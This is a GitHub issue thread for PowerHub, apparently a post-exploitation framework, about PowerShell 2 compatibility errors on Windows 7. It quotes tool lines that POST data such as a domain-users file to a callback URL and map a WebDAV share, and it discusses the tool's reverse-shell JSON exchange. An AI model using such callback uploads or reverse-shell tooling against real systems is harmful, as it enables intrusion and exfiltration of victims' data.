Comments (3)
Thanks for fixing #27
I discovered two more exceptions when trying to push to hub or mount webdav. Again Windows 7, PS 2.
PS C:\Users\foouser\Desktop> pth .\domusers.txt
Die Benennung "Invoke-RestMethod" wurde nicht als Name eines Cmdlet, einer Funktion, einer Skriptdatei oder eines ausfü
hrbaren Programms erkannt. Überprüfen Sie die Schreibweise des Namens, oder ob der Pfad korrekt ist (sofern enthalten),
und wiederholen Sie den Vorgang.
Bei Zeile:567 Zeichen:34
+ $response = Invoke-RestMethod <<<< -Uri $($CALLBACK_URL + "u?noredirect=1") -Method "POST" -ContentType "multipa
rt/form-data; boundary=`"$boundary`"" -Body $bodyLines
+ CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\foouser\Desktop> mwd
net.exe : Die Syntax dieses Befehls lautet:
Bei Zeile:646 Zeichen:16
+ $netout = & <<<< net use ${Letter}: \\$WEBDAV_URL /persistent:no 2>&1 | Out-Null
+ CategoryInfo : NotSpecified: (Die Syntax dieses Befehls lautet::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
from powerhub.
In the reverse shell, data is exchanged as JSON objects. On the powershell side, we rely on ConvertTo-Json
and ConvertFrom-Json
, which are not available in PS2. There is a trick using the .NET framework, but it requires version 3.5, which is not installed on win7 by default.
Now I need to think what other format we could use to serialize the data, or if it's worth to implement those functions... for simple JSON objects, at least. XML would be available, but it's pretty verbose.
from powerhub.
or just use this: https://github.com/EliteLoser/ConvertTo-Json
still, no ConvertFrom-Json
from powerhub.
Related Issues (20)
- Twisted exceptions HOT 3
- 1.3 fails to show installed modules HOT 2
- Listing and loading hub modules HOT 3
- Modules get not properly imported HOT 1
- Provide webapp alternative without JS
- Use of multiple crypto libraries HOT 1
- Add support for workspaces HOT 1
- Receiver discontinued? HOT 1
- Passing arguments in Run-DotNetExe not working properly HOT 1
- Support other encodings than UTF-8 in PS1 modules HOT 3
- Powerhub doesn't deliver the full certificate chain when using custom certs
- issue with Run-EXE HOT 2
- Vulnerability disclosure? HOT 3
- Credetials for webdav
- Failed to load in target system : unable to connect to server HOT 2
- RuntimeError: Working outside of application context HOT 1
- Preloaded modules fail HOT 1
- Missing positional argument when starting powerhub HOT 2
- AttributeError: module 'eventlet.green.select' has no attribute 'epoll' HOT 4
- DHParameterNumbers object has no attribute '_p'
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from powerhub.